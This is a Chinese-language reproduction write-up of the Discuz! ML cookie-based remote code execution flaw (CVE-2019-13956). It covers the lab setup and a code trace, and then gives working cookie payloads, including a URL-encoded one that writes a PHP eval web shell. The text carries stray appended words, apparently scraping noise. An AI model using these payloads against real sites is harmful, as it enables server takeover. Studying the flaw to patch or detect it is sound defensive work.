Discuz! ML远程代码执行(CVE-2019-13956)

1、漏洞描述php

该漏洞存在discuz ml(多国语言版)中,cookie中的language可控而且没有严格过滤,致使能够远程代码执行。shell

2、漏洞影响版本浏览器

Discuz! ML V3.2缓存

Discuz! ML V3.3cookie

Discuz! ML V3.4函数

3、漏洞环境搭建post

一、 官网下载Discuz! ML V3.4,下载地址: http://discuz.ml/download测试

二、 将压缩包解压到phpstudy网站根目录,浏览器访问upload目录开始安装网站

  

三、而后就是一直点击下一步就能够了,直到完成安装编码

  

4、漏洞复现

一、漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函数处理’diy:portal/index’,而后使用include_once包含

  

二、跟进template函数,发现把DISCUZ_LANG函数拼接成为一个缓存文件名,而后又返回了缓存文件名

  

三、跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng

  

四、继续浏览代码,发现把$lng的值赋给DISCUZ_LANG了

  

五、到此为止,整个漏洞分析过程已结束,过程以下:

外部参数$lng(即cookie中的language语言)可控,致使DISCUZ_LANG函数获取$lng,而后拼接成缓存文件而且返回了缓存文件名,致使template函数生成的缓存文件名可控,插入本身的代码,最终include_once函数包含一下致使了代码注入(执行了插入恶意代码的缓存文件名)。

六、测试漏洞,随便点击一个页面,抓包,将Cookie中的xxx_language参数值改成’.phpinfo().’,发现成功执行了代码

  

七、查看缓存文件,发现缓存文件名被修改以下

  

八、getshell

8.1尝试上传一个shell,构造payload,以下:

'.file_put_contents('shell.php','<?php eval($_POST[cmd]);?>').'

执行提示错误,多是编码的缘由

  

8.二、尝试对payload进行所有编码,失败,只有使用以下payload才能成功

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

  

8.三、查看是否成功上传shell.php,发现成功上传

  

8.四、菜刀链接